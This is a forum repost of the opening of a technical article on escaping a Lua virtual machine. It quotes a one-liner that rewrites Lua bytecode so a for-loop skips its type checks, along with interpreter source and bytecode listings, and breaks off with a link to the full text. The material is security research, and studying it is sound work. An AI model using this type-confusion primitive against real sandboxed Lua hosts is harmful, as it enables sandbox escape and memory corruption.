Nytro Posted March 14, 2016 Report Posted March 14, 2016 Analysis of VM escape by using LUA script Author: virustracker Time: February 29, 2016 Category: default Author: boywhp@126.com From: http://drops.wooyun.org/tips/12677 0x00 LUA Data Breaches Lua provides a string.dump that is used to dump a lua function into a LUA bytecode. And the loadingstring function is able to load a bytecode into a LUA function. Through manipulating LUA raw bytecodes, the LUA interpreter will be made into a special state and bugs will rise. asnum = loadstring(string.dump(function(x) for i = x, x, 0 do return i end end):gsub("\96%z%z\128", "\22\0\0\128")) The length of LUA bytecode is fixed with 32 bits, i.e.4 bytes, defined as: It’s comprised of opcodes, R(A), R(B), R(C), R(Bx) and R(sBx) where A, B and C each represent an index of LUA registers. The asnum function can transform any LUA objects to numbers (note: under LUA5.1 64bitLinux). The gsub function uses bytecode \22\0\0\128 to replace \96%z%z\128, as shown below: 0071 60000080 [4] forprep 1 1 ; to [6] 0075 1E010001 [5] return 4 2 0079 5F40FF7F [6] forloop 1 -2 ; to [5] if loop Aftere executing the gsub function, the forprep instruction is replaced as JMP to [6] and the following shows the corresponding code for the foreprep instruction in LUA interpreter: case OP_FORPREP: { const TValue *init = ra; const TValue *plimit = ra+1; const TValue *pstep = ra+2; L->savedpc = pc; /* next steps may throw errors */ if (!tonumber(init, ra)) luaG_runerror(L, LUA_QL("for") " initial value must be a number"); else if (!tonumber(plimit, ra+1)) luaG_runerror(L, LUA_QL("for") " limit must be a number"); else if (!tonumber(pstep, ra+2)) luaG_runerror(L, LUA_QL("for") " step must be a number"); setnvalue(ra, luai_numsub(nvalue(ra), nvalue(pstep))); dojump(L, pc, GETARG_sBx(i)); continue; Under normal circumstances of LUA, the forprep instruction will check if the parameter is number-type and execute initialization. However, since bytecodes are replaced to JMP, the check for LUA types is skipped and execution directly enters into the forloop instruction. case OP_FORLOOP: { lua_Number step = nvalue(ra+2); lua_Number idx = luai_numadd(nvalue(ra), step); /* increment index */ lua_Number limit = nvalue(ra+1); if (luai_numlt(0, step) ? luai_numle(idx, limit) : luai_numle(limit, idx)) { dojump(L, pc, GETARG_sBx(i)); /* jump back */ setnvalue(ra, idx); /* update internal index... */ setnvalue(ra+3, idx); /* ...and external index */ } continue; } The forloop instruction will directly transform the loop parameters to Lua Number (double) and perform add operation (+0), and then execute dojump return; finally, it returns lua Number. LUA uses TValue to represent generic data objects using the following format: Value(64bit) tt(32bit) padd(32bit) n LUA_TNUMBER GCObject *gc; -> TString* LUA_TSTRING GCObject *gc; -> Closure* LUA_TFUNCTION Articol complet: http://en.wooyun.io/2016/02/29/44.html Quote